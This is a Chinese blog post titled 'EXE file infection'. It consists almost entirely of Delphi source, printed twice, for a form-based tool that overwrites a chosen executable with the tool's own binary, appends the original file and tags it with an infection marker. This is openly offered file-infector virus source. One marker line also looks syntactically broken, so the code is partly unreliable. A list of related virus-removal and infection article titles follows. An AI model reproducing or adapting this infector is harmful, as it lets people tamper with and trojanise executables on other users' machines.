EXE文件感染
2009-11-11 20:18
239 查看
Code
unit Unit5;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm5 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenDialog1: TOpenDialog;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure copy(s:string);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form5: TForm5;
implementation
{$R *.dfm}
procedure TForm5.Button1Click(Sender: TObject);
begin
if opendialog1.Execute then //打开
edit1.Text:=opendialog1.FileName;
end;
procedure tform5.copy(s:string);
var
s1,s2:tmemorystream;
id,iid:longint;
begin
id:=$+strtoint('66666666');
s1:=tmemorystream.Create;
s1.LoadFromFile(paramstr(0));
s2:=tmemorystream.Create;
s2.LoadFromFile(s);
s2.Seek(-4,sofromend);
s2.Read(iid,4);
if iid=id then
begin
s1.Free;
s2.Free;
showmessage('文件已经感染了!!');
end
else
begin
s2.Seek(0,sofrombeginning);
s1.Seek(0,sofromend);
s1.CopyFrom(s2,s2.Size);
s1.Seek(0,sofromend);
s1.Write(id,4);
s1.SaveToFile(s);
s1.Free;
s2.Free;
showmessage('感染完成!!');
end;
end;
procedure TForm5.Button2Click(Sender: TObject);
begin
if edit1.Text='' then
showmessage('请选择文件!!')
else
copy(edit1.Text);
end;
end.
unit Unit5;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm5 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenDialog1: TOpenDialog;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure copy(s:string);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form5: TForm5;
implementation
{$R *.dfm}
procedure TForm5.Button1Click(Sender: TObject);
begin
if opendialog1.Execute then //打开
edit1.Text:=opendialog1.FileName;
end;
procedure tform5.copy(s:string);
var
s1,s2:tmemorystream;
id,iid:longint;
begin
id:=$+strtoint('66666666');
s1:=tmemorystream.Create;
s1.LoadFromFile(paramstr(0));
s2:=tmemorystream.Create;
s2.LoadFromFile(s);
s2.Seek(-4,sofromend);
s2.Read(iid,4);
if iid=id then
begin
s1.Free;
s2.Free;
showmessage('文件已经感染了!!');
end
else
begin
s2.Seek(0,sofrombeginning);
s1.Seek(0,sofromend);
s1.CopyFrom(s2,s2.Size);
s1.Seek(0,sofromend);
s1.Write(id,4);
s1.SaveToFile(s);
s1.Free;
s2.Free;
showmessage('感染完成!!');
end;
end;
procedure TForm5.Button2Click(Sender: TObject);
begin
if edit1.Text='' then
showmessage('请选择文件!!')
else
copy(edit1.Text);
end;
end.
相关文章推荐
- 威金病毒(感染EXE文件)专杀工具
- 近期顽固恶意软件\EXE文件被感染\主页被锁死\各类专杀|解决方案
- exe文件感染病毒,杀毒后不能使用
- Dcim.exe病毒文件感染相机SD卡处理方案
- 熊猫烧香专杀工具源代码,解除被感染的exe文件
- 恢复被"Trojan-Downloader.Win32.Agent.ben"感染的exe文件
- 感染EXE文件代码(C++)
- 01.03病毒预警:闪屏感染者感染exe文件令其失效
- 非常不错的一招防止exe文件被感染的办法
- PE文件感染学习之一__通过现成代码加入一节信息来研究EXE文件的变化
- 特别注意"熊猫烧香"病毒!感染全盘EXE文件,并自动删除GHO文件
- 四招彻底防御LOGO1,熊猫等,所有感染EXE文件的病毒!
- 使用 xsd.exe 命令工具将 xsd 架构生成 类(CS) 文件
- 未能启动 aspnet_wp.exe,原因是配置文件的 processModel 节中提供的用户名和/或密码无效。
- 用JSmooth制作java jar文件的可运行exe文件教程【图文】
- C# LiveUpdate.exe实现文件在线更新(原理说明,使用指南一)
- VC释放EXE资源文件
- exe代替批处理文件添加注册表数据
- VC 获取 exe 文件的版本号
- Java桌面程序打包成exe可执行文件